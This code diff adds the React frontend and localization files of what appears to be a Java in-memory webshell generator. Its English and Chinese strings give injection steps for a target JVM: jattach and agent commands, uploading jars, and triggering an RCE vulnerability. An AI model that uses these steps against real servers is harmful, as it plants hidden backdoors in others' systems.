+}: React.ComponentProps<typeof SelectPrimitive.Value>) {
+  return <SelectPrimitive.Value data-slot="select-value" {...props} />;
+}
+
+function SelectTrigger({
+  className,
+  size = "default",
+  children,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Trigger> & {
+  size?: "sm" | "default";
+}) {
+  return (
+    <SelectPrimitive.Trigger
+      data-slot="select-trigger"
+      data-size={size}
+      className={cn(
+        "h-8 border-input data-[placeholder]:text-muted-foreground [&_svg:not([class*='text-'])]:text-muted-foreground focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 dark:hover:bg-input/50 flex w-full items-center justify-between gap-2 rounded-md border bg-transparent px-3 py-2 text-sm whitespace-nowrap shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50 *:data-[slot=select-value]:line-clamp-1 *:data-[slot=select-value]:flex *:data-[slot=select-value]:items-center *:data-[slot=select-value]:gap-2 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    >
+      {children}
+      <SelectPrimitive.Icon asChild>
+        <ChevronDownIcon className="size-4 opacity-50" />
+      </SelectPrimitive.Icon>
+    </SelectPrimitive.Trigger>
+  );
+}
+
+function SelectContent({
+  className,
+  children,
+  position = "popper",
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Content>) {
+  return (
+    <SelectPrimitive.Portal>
+      <SelectPrimitive.Content
+        data-slot="select-content"
+        className={cn(
+          "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 relative z-50 max-h-(--radix-select-content-available-height) min-w-[8rem] origin-(--radix-select-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border shadow-md",
+          position === "popper" &&
+            "data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1",
+          className,
+        )}
+        position={position}
+        {...props}
+      >
+        <SelectScrollUpButton />
+        <SelectPrimitive.Viewport
+          className={cn(
+            "p-1",
+            position === "popper" &&
+              "h-[var(--radix-select-trigger-height)] w-full min-w-[var(--radix-select-trigger-width)] scroll-my-1",
+          )}
+        >
+          {children}
+        </SelectPrimitive.Viewport>
+        <SelectScrollDownButton />
+      </SelectPrimitive.Content>
+    </SelectPrimitive.Portal>
+  );
+}
+
+function SelectLabel({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Label>) {
+  return (
+    <SelectPrimitive.Label
+      data-slot="select-label"
+      className={cn("text-muted-foreground px-2 py-1.5 text-xs", className)}
+      {...props}
+    />
+  );
+}
+
+function SelectItem({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Item>) {
+  return (
+    <SelectPrimitive.Item
+      data-slot="select-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground [&_svg:not([class*='text-'])]:text-muted-foreground relative flex w-full cursor-default items-center gap-2 rounded-sm py-1.5 pr-8 pl-2 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
+        className,
+      )}
+      {...props}
+    >
+      <span className="absolute right-2 flex size-3.5 items-center justify-center">
+        <SelectPrimitive.ItemIndicator>
+          <CheckIcon className="size-4" />
+        </SelectPrimitive.ItemIndicator>
+      </span>
+      <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>
+    </SelectPrimitive.Item>
+  );
+}
+
+function SelectSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Separator>) {
+  return (
+    <SelectPrimitive.Separator
+      data-slot="select-separator"
+      className={cn("bg-border pointer-events-none -mx-1 my-1 h-px", className)}
+      {...props}
+    />
+  );
+}
+
+function SelectScrollUpButton({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.ScrollUpButton>) {
+  return (
+    <SelectPrimitive.ScrollUpButton
+      data-slot="select-scroll-up-button"
+      className={cn(
+        "flex cursor-default items-center justify-center py-1",
+        className,
+      )}
+      {...props}
+    >
+      <ChevronUpIcon className="size-4" />
+    </SelectPrimitive.ScrollUpButton>
+  );
+}
+
+function SelectScrollDownButton({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.ScrollDownButton>) {
+  return (
+    <SelectPrimitive.ScrollDownButton
+      data-slot="select-scroll-down-button"
+      className={cn(
+        "flex cursor-default items-center justify-center py-1",
+        className,
+      )}
+      {...props}
+    >
+      <ChevronDownIcon className="size-4" />
+    </SelectPrimitive.ScrollDownButton>
+  );
+}
+
+export {
+  Select,
+  SelectContent,
+  SelectGroup,
+  SelectItem,
+  SelectLabel,
+  SelectScrollDownButton,
+  SelectScrollUpButton,
+  SelectSeparator,
+  SelectTrigger,
+  SelectValue,
+};

web/app/components/ui/separator.tsx

@@ -0,0 +1,26 @@
+import { Separator as SeparatorPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Separator({
+  className,
+  orientation = "horizontal",
+  decorative = true,
+  ...props
+}: React.ComponentProps<typeof SeparatorPrimitive.Root>) {
+  return (
+    <SeparatorPrimitive.Root
+      data-slot="separator"
+      decorative={decorative}
+      orientation={orientation}
+      className={cn(
+        "bg-border shrink-0 data-[orientation=horizontal]:h-px data-[orientation=horizontal]:w-full data-[orientation=vertical]:h-full data-[orientation=vertical]:w-px",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Separator };

web/app/components/ui/sonner.tsx

@@ -0,0 +1,24 @@
+import { useTheme } from "next-themes";
+import { Toaster as Sonner, type ToasterProps } from "sonner";
+
+const Toaster = ({ ...props }: ToasterProps) => {
+  const { theme } = useTheme();
+
+  return (
+    <Sonner
+      theme={theme as ToasterProps["theme"]}
+      richColors
+      className="toaster group"
+      style={
+        {
+          "--normal-bg": "var(--popover)",
+          "--normal-text": "var(--popover-foreground)",
+          "--normal-border": "var(--border)",
+        } as React.CSSProperties
+      }
+      {...props}
+    />
+  );
+};
+
+export { Toaster };

web/app/components/ui/switch.tsx

@@ -0,0 +1,29 @@
+import { Switch as SwitchPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Switch({
+  className,
+  ...props
+}: React.ComponentProps<typeof SwitchPrimitive.Root>) {
+  return (
+    <SwitchPrimitive.Root
+      data-slot="switch"
+      className={cn(
+        "peer data-[state=checked]:bg-primary data-[state=unchecked]:bg-input focus-visible:border-ring focus-visible:ring-ring/50 dark:data-[state=unchecked]:bg-input/80 inline-flex h-[1.15rem] w-8 shrink-0 items-center rounded-full border border-transparent shadow-xs transition-all outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50",
+        className,
+      )}
+      {...props}
+    >
+      <SwitchPrimitive.Thumb
+        data-slot="switch-thumb"
+        className={cn(
+          "bg-background dark:data-[state=unchecked]:bg-foreground dark:data-[state=checked]:bg-primary-foreground pointer-events-none block size-4 rounded-full ring-0 transition-transform data-[state=checked]:translate-x-[calc(100%-2px)] data-[state=unchecked]:translate-x-0",
+        )}
+      />
+    </SwitchPrimitive.Root>
+  );
+}
+
+export { Switch };

web/app/components/ui/table.tsx

@@ -0,0 +1,114 @@
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Table({ className, ...props }: React.ComponentProps<"table">) {
+  return (
+    <div
+      data-slot="table-container"
+      className="relative w-full overflow-x-auto"
+    >
+      <table
+        data-slot="table"
+        className={cn("w-full caption-bottom text-sm", className)}
+        {...props}
+      />
+    </div>
+  );
+}
+
+function TableHeader({ className, ...props }: React.ComponentProps<"thead">) {
+  return (
+    <thead
+      data-slot="table-header"
+      className={cn("[&_tr]:border-b", className)}
+      {...props}
+    />
+  );
+}
+
+function TableBody({ className, ...props }: React.ComponentProps<"tbody">) {
+  return (
+    <tbody
+      data-slot="table-body"
+      className={cn("[&_tr:last-child]:border-0", className)}
+      {...props}
+    />
+  );
+}
+
+function TableFooter({ className, ...props }: React.ComponentProps<"tfoot">) {
+  return (
+    <tfoot
+      data-slot="table-footer"
+      className={cn(
+        "bg-muted/50 border-t font-medium [&>tr]:last:border-b-0",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TableRow({ className, ...props }: React.ComponentProps<"tr">) {
+  return (
+    <tr
+      data-slot="table-row"
+      className={cn(
+        "hover:bg-muted/50 data-[state=selected]:bg-muted border-b transition-colors",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TableHead({ className, ...props }: React.ComponentProps<"th">) {
+  return (
+    <th
+      data-slot="table-head"
+      className={cn(
+        "text-foreground h-10 px-2 text-left align-middle font-medium whitespace-nowrap [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TableCell({ className, ...props }: React.ComponentProps<"td">) {
+  return (
+    <td
+      data-slot="table-cell"
+      className={cn(
+        "p-2 align-middle whitespace-nowrap [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TableCaption({
+  className,
+  ...props
+}: React.ComponentProps<"caption">) {
+  return (
+    <caption
+      data-slot="table-caption"
+      className={cn("text-muted-foreground mt-4 text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+export {
+  Table,
+  TableHeader,
+  TableBody,
+  TableFooter,
+  TableHead,
+  TableRow,
+  TableCell,
+  TableCaption,
+};

web/app/components/ui/tabs.tsx

@@ -0,0 +1,64 @@
+import { Tabs as TabsPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Tabs({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.Root>) {
+  return (
+    <TabsPrimitive.Root
+      data-slot="tabs"
+      className={cn("flex flex-col gap-2", className)}
+      {...props}
+    />
+  );
+}
+
+function TabsList({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.List>) {
+  return (
+    <TabsPrimitive.List
+      data-slot="tabs-list"
+      className={cn(
+        "bg-muted text-muted-foreground inline-flex h-9 w-fit items-center justify-center rounded-lg p-[3px]",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TabsTrigger({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.Trigger>) {
+  return (
+    <TabsPrimitive.Trigger
+      data-slot="tabs-trigger"
+      className={cn(
+        "dark:data-[state=active]:text-foreground focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:outline-ring dark:data-[state=active]:border-input dark:data-[state=active]:bg-input/30 text-foreground dark:text-muted-foreground inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center gap-1.5 rounded-md border border-transparent px-2 py-1 text-sm font-medium whitespace-nowrap transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:shadow-sm [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function TabsContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof TabsPrimitive.Content>) {
+  return (
+    <TabsPrimitive.Content
+      data-slot="tabs-content"
+      className={cn("flex-1 outline-none", className)}
+      {...props}
+    />
+  );
+}
+
+export { Tabs, TabsList, TabsTrigger, TabsContent };

web/app/components/ui/textarea.tsx

@@ -0,0 +1,18 @@
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Textarea({ className, ...props }: React.ComponentProps<"textarea">) {
+  return (
+    <textarea
+      data-slot="textarea"
+      className={cn(
+        "border-input placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 flex field-sizing-content min-h-16 w-full rounded-md border bg-transparent px-3 py-2 text-base shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50 md:text-sm",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Textarea };

web/app/components/ui/tooltip.tsx

@@ -0,0 +1,59 @@
+import { Tooltip as TooltipPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function TooltipProvider({
+  delayDuration = 0,
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Provider>) {
+  return (
+    <TooltipPrimitive.Provider
+      data-slot="tooltip-provider"
+      delayDuration={delayDuration}
+      {...props}
+    />
+  );
+}
+
+function Tooltip({
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Root>) {
+  return (
+    <TooltipProvider>
+      <TooltipPrimitive.Root data-slot="tooltip" {...props} />
+    </TooltipProvider>
+  );
+}
+
+function TooltipTrigger({
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Trigger>) {
+  return <TooltipPrimitive.Trigger data-slot="tooltip-trigger" {...props} />;
+}
+
+function TooltipContent({
+  className,
+  sideOffset = 0,
+  children,
+  ...props
+}: React.ComponentProps<typeof TooltipPrimitive.Content>) {
+  return (
+    <TooltipPrimitive.Portal>
+      <TooltipPrimitive.Content
+        data-slot="tooltip-content"
+        sideOffset={sideOffset}
+        className={cn(
+          "bg-primary text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 w-fit origin-(--radix-tooltip-content-transform-origin) rounded-md px-3 py-1.5 text-xs text-balance",
+          className,
+        )}
+        {...props}
+      >
+        {children}
+        <TooltipPrimitive.Arrow className="bg-primary fill-primary z-50 size-2.5 translate-y-[calc(-50%_-_2px)] rotate-45 rounded-[2px]" />
+      </TooltipPrimitive.Content>
+    </TooltipPrimitive.Portal>
+  );
+}
+
+export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider };

web/app/config.ts

@@ -0,0 +1,76 @@
+import * as yup from "yup";
+
+const EnvSchema = yup.object({
+  API_URL: yup.string().optional(),
+  BASE_PATH: yup.string().optional(),
+  MODE: yup.string().required(),
+});
+
+type EnvSchema = yup.InferType<typeof EnvSchema>;
+function safeParseYup<T>(schema: yup.ObjectSchema<any>, data: unknown) {
+  try {
+    const validatedData = schema.validateSync(data, {
+      abortEarly: false,
+      stripUnknown: true,
+    });
+
+    return {
+      success: true as const,
+      data: validatedData as T,
+      error: undefined,
+    };
+  } catch (error) {
+    if (error instanceof yup.ValidationError) {
+      return {
+        success: false as const,
+        data: undefined,
+        error: {
+          issues: error.inner.map((err) => ({
+            path: err.path?.split(".") || [],
+            message: err.message,
+            code: err.type ?? "validation_error",
+          })),
+          message: error.message,
+        },
+      };
+    }
+
+    return {
+      success: false as const,
+      data: undefined,
+      error: {
+        issues: [],
+        message: "Unknown validation error",
+      },
+    };
+  }
+}
+
+const createEnv = () => {
+  const envVars = Object.entries(import.meta.env).reduce<
+    Record<string, string>
+  >((acc, curr) => {
+    const [key, value] = curr;
+    if (typeof value === "string") {
+      if (key.startsWith("VITE_APP_")) {
+        acc[key.replace("VITE_APP_", "")] = value;
+      }
+      if (key === "MODE") {
+        acc[key] = value;
+      }
+    }
+    return acc;
+  }, {});
+  const parsedEnv = safeParseYup<EnvSchema>(EnvSchema, envVars);
+  if (!parsedEnv.success) {
+    throw new Error(
+      `Invalid env provided.
+The following variables are missing or invalid:
+${parsedEnv.error.issues.map(({ path, message }) => `- ${path}: ${message}`).join("\n")}
+`,
+    );
+  }
+  return parsedEnv.data;
+};
+
+export const env = createEnv();

web/app/docs/page.tsx

@@ -0,0 +1,50 @@
+import browserCollections from "fumadocs-mdx:collections/browser";
+import { useFumadocsLoader } from "fumadocs-core/source/client";
+import { DocsLayout } from "fumadocs-ui/layouts/docs";
+import {
+  DocsBody,
+  DocsDescription,
+  DocsPage,
+  DocsTitle,
+} from "fumadocs-ui/layouts/docs/page";
+import defaultMdxComponents from "fumadocs-ui/mdx";
+import { baseOptions } from "@/lib/layout.shared";
+import { source } from "@/lib/source";
+import type { Route } from "./+types/page";
+
+export async function loader({ params }: Route.LoaderArgs) {
+  const slugs = params["*"].split("/").filter((v) => v.length > 0);
+  const page = source.getPage(slugs);
+  if (!page) throw new Response("Not found", { status: 404 });
+
+  return {
+    path: page.path,
+    pageTree: await source.serializePageTree(source.pageTree),
+  };
+}
+
+const clientLoader = browserCollections.docs.createClientLoader({
+  component({ toc, default: Mdx, frontmatter }) {
+    return (
+      <DocsPage toc={toc}>
+        <title>{frontmatter.title}</title>
+        <meta name="description" content={frontmatter.description} />
+        <DocsTitle>{frontmatter.title}</DocsTitle>
+        <DocsDescription>{frontmatter.description}</DocsDescription>
+        <DocsBody>
+          <Mdx components={{ ...defaultMdxComponents }} />
+        </DocsBody>
+      </DocsPage>
+    );
+  },
+});
+
+export default function Page({ loaderData }: Route.ComponentProps) {
+  const Content = clientLoader.getComponent(loaderData.path);
+  const { pageTree } = useFumadocsLoader(loaderData);
+  return (
+    <DocsLayout {...baseOptions()} tree={pageTree}>
+      <Content />
+    </DocsLayout>
+  );
+}

web/app/docs/search.ts

@@ -0,0 +1,17 @@
+import { stopwords as mandarinStopwords } from "@orama/stopwords/mandarin";
+import { createTokenizer } from "@orama/tokenizers/mandarin";
+import { createFromSource } from "fumadocs-core/search/server";
+import { source } from "@/lib/source";
+
+const server = createFromSource(source, {
+  components: {
+    tokenizer: createTokenizer({
+      language: "mandarin",
+      stopWords: mandarinStopwords,
+    }),
+  },
+});
+
+export async function loader() {
+  return server.staticGET();
+}

web/app/i18n/common/en.json

@@ -0,0 +1,39 @@
+{
+  "about": "About",
+  "basicInfo": "BasicInfo",
+  "byPassJavaModule": "Bypass JavaModule",
+  "cancel": "Cancel",
+  "copyLabelSuccess": "Copy {{label}} successfully",
+  "copySuccess": "Copy successfully",
+  "debug": "Debug Mode",
+  "download": "Downlaod",
+  "encryptor": "Encryptor",
+  "feedback": "Feedback",
+  "generateResult": "Generate Result",
+  "generator": "Generator",
+  "headerName": "HeaderName",
+  "headerValue": "HeaderValue",
+  "implementationClass": "ImplementationClass",
+  "loading": "Loading...",
+  "mainConfig.title": "Main Config",
+  "MemShellGenerator": "MemShellGenerator",
+  "optional": "(Optional)",
+  "packerConfig.title": "Package Config",
+  "packerMethod": "Package Method",
+  "paramName": "ParamName",
+  "placeholders.input": "Please input",
+  "placeholders.select": "Please select",
+  "ProbeShellGenerator": "ProbeShellGenerator",
+  "quickUsage.title": "Quick Usage",
+  "server": "Server",
+  "serverVersion": "Server Version",
+  "shrink": "Shrink",
+  "staticInitialize": "StaticInitialize",
+  "toast.generateError": "Generation failed, {{error}}",
+  "toast.generateSuccess": "Generation successful",
+  "urlPattern": "URL Pattern",
+  "usage": "Usage",
+  "version.updateAvailable": "Update Available",
+  "version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})",
+  "shellTool": "Shell Tool"
+}

web/app/i18n/common/zh-CN.json

@@ -0,0 +1,39 @@
+{
+  "about": "关于",
+  "basicInfo": "基本信息",
+  "byPassJavaModule": "绕过 Java 模块限制",
+  "cancel": "取消",
+  "copyLabelSuccess": "复制 {{label}} 成功",
+  "copySuccess": "复制成功",
+  "debug": "调试模式",
+  "download": "下载",
+  "encryptor": "加密器",
+  "feedback": "反馈",
+  "generateResult": "生成结果",
+  "generator": "生成器",
+  "headerName": "请求头名称",
+  "headerValue": "请求头值",
+  "implementationClass": "实现类",
+  "loading": "加载中...",
+  "mainConfig.title": "核心配置",
+  "MemShellGenerator": "内存马生成器",
+  "optional": "(可选)",
+  "packerConfig.title": "打包配置",
+  "packerMethod": "打包方式",
+  "paramName": "参数名称",
+  "placeholders.input": "请输入",
+  "placeholders.select": "请选择",
+  "ProbeShellGenerator": "探测马生成器",
+  "quickUsage.title": "快速使用",
+  "server": "服务类型",
+  "serverVersion": "服务版本",
+  "shrink": "缩小字节码",
+  "staticInitialize": "静态初始化",
+  "toast.generateError": "生成失败，{{error}}",
+  "toast.generateSuccess": "生成成功",
+  "urlPattern": "请求路径",
+  "usage": "使用指南",
+  "version.updateAvailable": "有可用升级",
+  "version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})",
+  "shellTool": "内存马工具"
+}

web/app/i18n/i18n.ts

@@ -0,0 +1,62 @@
+import i18n from "i18next";
+import { initReactI18next } from "react-i18next";
+import commonEN from "@/i18n/common/en.json";
+import commonZH from "@/i18n/common/zh-CN.json";
+import memshellEN from "@/i18n/memshell/en.json";
+import memshellZH from "@/i18n/memshell/zh-CN.json";
+import probeshellEN from "@/i18n/probeshell/en.json";
+import probeshellZH from "@/i18n/probeshell/zh-CN.json";
+
+const getStoredLanguage = () => {
+  if (typeof window === "undefined") {
+    return "zh-CN";
+  }
+  const storedLang = localStorage.getItem("i18nextLng");
+  if (storedLang && ["en", "zh-CN"].includes(storedLang)) {
+    return storedLang;
+  }
+  const browserLang = navigator.language.split("-")[0];
+  return ["en", "zh-CN"].includes(browserLang) ? browserLang : "zh-CN";
+};
+
+const fallbackLng = "zh-CN";
+export const ns = [
+  "default",
+  "common",
+  "memshell",
+  "probeshell",
+  "errors",
+] as const;
+export const defaultNS = "default" as const;
+
+const resources = {
+  "zh-CN": {
+    common: commonZH,
+    memshell: memshellZH,
+    probeshell: probeshellZH,
+  },
+  en: {
+    common: commonEN,
+    memshell: memshellEN,
+    probeshell: probeshellEN,
+  },
+};
+
+i18n.use(initReactI18next).init({
+  ns,
+  defaultNS,
+  resources,
+  lng: getStoredLanguage(),
+  fallbackLng,
+  interpolation: {
+    escapeValue: false,
+  },
+});
+
+i18n.on("languageChanged", (lng) => {
+  if (typeof window !== "undefined") {
+    localStorage.setItem("i18nextLng", lng);
+  }
+});
+
+export default i18n;

web/app/i18n/memshell/en.json

@@ -0,0 +1,61 @@
+{
+  "basicInfo.classInfo": "ShellClass",
+  "basicInfo.serverInfo": "TargetServer",
+  "basicInfo.toolInfo": "ShellTool",
+  "buttons.generate": "Generate Shell",
+  "classNameOptions": "ClassNameOptions",
+  "injectorClass": "InjectorClass",
+  "mainConfig.injectorClassName": "Injector ClassName",
+  "mainConfig.randomClassName": "Random Class Name",
+  "mainConfig.shellClassName": "Shell ClassName",
+  "mainConfig.shellMountType": "Shell Mount Type",
+  "mainConfig.shellTool": "ShellTool",
+  "quickUsage.step1": "Select Target Server",
+  "quickUsage.step2": "Select Shell Tool, Godzilla, Behinder, etc.",
+  "quickUsage.step3": "Select Shell Mount Type, Filter, Listener, etc.",
+  "quickUsage.step4": "Select Packing Method",
+  "quickUsage.step5": "Click Generate Shell",
+  "shellClass": "ShellClass",
+  "shellNotWork.step1": "1. Try to enable the debug mode, regenerate the memory shell and inject it, check the console or log",
+  "shellNotWork.step2": "2. If an exception stack trace is displayed, or no exception is seen, please take a screenshot of the current generation interface and the exception log, and describe the target environment as much as possible for feedback",
+  "shellNotWork.title": "Shell Not Work ?",
+  "shellToolConfig.antSword.pass": "Shell pwd",
+  "shellToolConfig.behinder": "Behinder",
+  "shellToolConfig.behinder.header": "Custom Header",
+  "shellToolConfig.behinder.pass": "Pass",
+  "shellToolConfig.behinderDefaultEncryptType": "Default",
+  "shellToolConfig.behinderEncryptType": "Encrypt Type",
+  "shellToolConfig.behinderScriptType": "Script Type",
+  "shellToolConfig.command": "Command",
+  "shellToolConfig.godzilla": "Godzilla",
+  "shellToolConfig.godzilla.encryptor": "Encryptor",
+  "shellToolConfig.godzilla.header": "Request Config -> Request Header",
+  "shellToolConfig.godzilla.key": "Key",
+  "shellToolConfig.godzilla.pass": "Pass",
+  "shellToolConfig.godzilla.payload": "Payload",
+  "shellToolConfig.httpHeader": "HTTP -> HTTP HEADERS",
+  "shellToolConfig.neoreGeorgHeader": "Custom Header",
+  "shellToolConfig.neoreGeorgKey": "Connection Key",
+  "shellToolConfig.suo5Header": "AdvanceConfiguration -> Request Header",
+  "tips.classNameParseFailed": "Failed to parse class name, please verify the Base64 data",
+  "tips.agent-move-to-target": "Move MemShellAgent.jar and jattach to target host",
+  "tips.agent-move-to-target1": "Move MemShellAgent.jar to target host",
+  "tips.controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller",
+  "tips.customShellClass": "Custom shell class is required, base64 or classfile",
+  "tips.download-jattach": "Download the Jattach tool",
+  "tips.execute-command": "Execute the command to inject: /path/to/jattach pid load instrument false /path/to/agent.jar",
+  "tips.execute-command1": "Execute the command to inject: java -jar /path/to/agent.jar pid",
+  "tips.get-pid": "Get the process pid of the target jvm (use jps or ps)",
+  "tips.handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler",
+  "tips.serverVersion": "serverVersion is required",
+  "tips.servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet",
+  "tips.shellBytesEmpty": "Shell bytes is empty, please generate shell first",
+  "tips.shellToolNotSelected": "Please select a shell tool type first",
+  "tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello",
+  "tips.targetServerNotFound": "Target server not found?",
+  "tips.targetServerRequest": "Request",
+  "tips.try-to-use-shell": "Try to use the memory shell",
+  "tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download",
+  "tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection",
+  "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability"
+}

web/app/i18n/memshell/zh-CN.json

@@ -0,0 +1,61 @@
+{
+  "basicInfo.classInfo": "内存马类信息",
+  "basicInfo.serverInfo": "目标服务信息",
+  "basicInfo.toolInfo": "内存马工具信息",
+  "buttons.generate": "生成内存马",
+  "injectorClass": "注入器",
+  "shellClass": "内存马",
+  "classNameOptions": "类名配置项",
+  "mainConfig.injectorClassName": "注入器类名",
+  "mainConfig.randomClassName": "随机类名",
+  "mainConfig.shellClassName": "内存马类名",
+  "mainConfig.shellMountType": "内存马挂载类型",
+  "mainConfig.shellTool": "内存马功能",
+  "quickUsage.step1": "选择目标服务",
+  "quickUsage.step2": "选择内存马功能，Godzilla、Behinder 或者其他",
+  "quickUsage.step3": "选择内存马挂载类型，Filter、Listener 或者其他",
+  "quickUsage.step4": "选择打包方式",
+  "quickUsage.step5": "点击生成内存马",
+  "shellNotWork.step1": "1. 尝试开启调试模式，重新生成并注入，查看控制台或日志",
+  "shellNotWork.step2": "2. 如果出现异常堆栈信息，或未见异常，请截图当前生成界面以及异常日志，并尽可能描述目标环境进行反馈",
+  "shellNotWork.title": "利用失败？",
+  "shellToolConfig.antSword.pass": "连接密码",
+  "shellToolConfig.behinder": "冰蝎",
+  "shellToolConfig.behinder.header": "自定义请求头",
+  "shellToolConfig.behinder.pass": "连接密码",
+  "shellToolConfig.behinderDefaultEncryptType": "默认",
+  "shellToolConfig.behinderEncryptType": "加密类型",
+  "shellToolConfig.behinderScriptType": "脚本类型",
+  "shellToolConfig.command": "命令回显",
+  "shellToolConfig.godzilla": "哥斯拉",
+  "shellToolConfig.godzilla.encryptor": "加密器",
+  "shellToolConfig.godzilla.header": "请求配置 -> 请求头",
+  "shellToolConfig.godzilla.key": "密钥",
+  "shellToolConfig.godzilla.pass": "密码",
+  "shellToolConfig.godzilla.payload": "有效载荷",
+  "shellToolConfig.httpHeader": "请求信息 -> HTTP HEADERS",
+  "shellToolConfig.neoreGeorgHeader": "自定义请求头",
+  "shellToolConfig.neoreGeorgKey": "连接密钥",
+  "shellToolConfig.suo5Header": "高级配置 -> 请求头",
+  "tips.agent-move-to-target": "将 MemShellAgent.jar 和 jattach 移到到目标服务磁盘上",
+  "tips.classNameParseFailed": "无法解析类名，请检查 Base64 内容",
+  "tips.agent-move-to-target1": "将 MemShellAgent.jar 移到到目标服务磁盘上",
+  "tips.controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern，例如 /hello_controller",
+  "tips.customShellClass": "请输入自定义内存马类，base64 或类文件",
+  "tips.download-jattach": "下载 Jattach 工具",
+  "tips.execute-command": "执行命令进行注入：/path/to/jattach pid load instrument false /path/to/agent.jar",
+  "tips.execute-command1": "执行命令进行注入：java -jar /path/to/agent.jar pid",
+  "tips.get-pid": "获取目标 jvm 的进程 pid（使用 jps 或 ps）",
+  "tips.handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern，例如 /hello_handler",
+  "tips.serverVersion": "当前挂载类型必须指定 serverVersion",
+  "tips.servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern，例如 /hello_servlet",
+  "tips.shellBytesEmpty": "内存马字节码为空，无法下载，请先生成内存马",
+  "tips.shellToolNotSelected": "请先选择内存马工具类型",
+  "tips.specificUrlPattern": "必须指定 URL Pattern，例如 /hello",
+  "tips.targetServerNotFound": "找不到目标服务？",
+  "tips.targetServerRequest": "请求适配",
+  "tips.try-to-use-shell": "尝试利用内存马",
+  "tips.download-jar": "下载 jar 包并上传至公网服务器，使其能通过 http 链接访问下载",
